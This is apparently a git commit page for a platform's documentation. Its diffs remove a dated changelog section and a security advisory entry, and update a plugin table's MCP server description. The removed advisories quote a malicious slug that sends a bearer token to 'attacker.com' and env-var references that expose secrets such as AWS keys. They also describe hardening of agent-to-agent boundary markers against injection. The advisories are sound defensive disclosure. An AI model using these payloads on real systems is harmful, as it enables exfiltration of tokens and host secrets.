fix(plugins): resolve line-38 conflict with docs#48

docs#48 (merges first) changes line 38 to a cross-platform MCP description. This commit synthesises both: keeps docs#48's framing ("works with any MCP-compatible agent") but adds docs#54's Hermes integration detail (container startup, A2A tool provider, list_peers / delegate_task / send_message_to_user) and keeps docs#48's reference to the MCP Server guide. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
fix(plugins): backfill MCP server status — now shipping in Hermes
2026-05-18 11:08:36 +00:00 · 2026-05-18 11:08:36 +00:00
3 changed files with 1 additions and 54 deletions
@@ -8,28 +8,6 @@ Entries are published daily at 23:50 UTC.

 ---

-## 2026-05-14
-
-### 🔒 Security
-
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
-
-### 🐛 Bug fixes
-
- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
-
-### 🧹 Internal
-
- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))
-
---
-
 ## 2026-05-12

 ### 🔒 Security
@@ -35,7 +35,7 @@ runtime.
 | Shape | Description |
 |-------|-------------|
 | agentskills.io format | `SKILL.md` + optional scripts, hooks, and `plugin.yaml` manifest |
-| MCP server | Model Context Protocol server (coming soon for more runtimes) |
+| MCP server | Works with any MCP-compatible AI agent (Claude Code, Cursor, etc.). In the Hermes runtime template the MCP server is launched at container startup as an A2A tool provider, exposing platform tools including `list_peers`, `delegate_task`, and `send_message_to_user` to the Hermes agent loop. See the [MCP Server guide](/docs/mcp-server) for setup and available tools. |

 The shape is orthogonal to the source. A `github://` plugin and a `local://`
 plugin can both be agentskills.io format. The per-runtime adapter inside the
@@ -9,37 +9,6 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent

 ---

-## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
-
-**Severity:** Critical (CWE-78)
-**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
-**Affected:** `workspace-server/internal/handlers/org_helpers.go` — `expandWithEnv`
-
-### Vulnerability
-
-`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
-
-An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
-
-### Fix
-
-Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
-
-```go
-c := key[0]
-if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
-    return "$" + key // not a valid shell identifier — return literally
-}
-```
-
-Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
-
-### User-facing summary
-
-Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
-
---
-
 ## 2026-04-20 — CWE-22: Path Traversal in `copyFilesToContainer`

 **Severity:** High (CWE-22)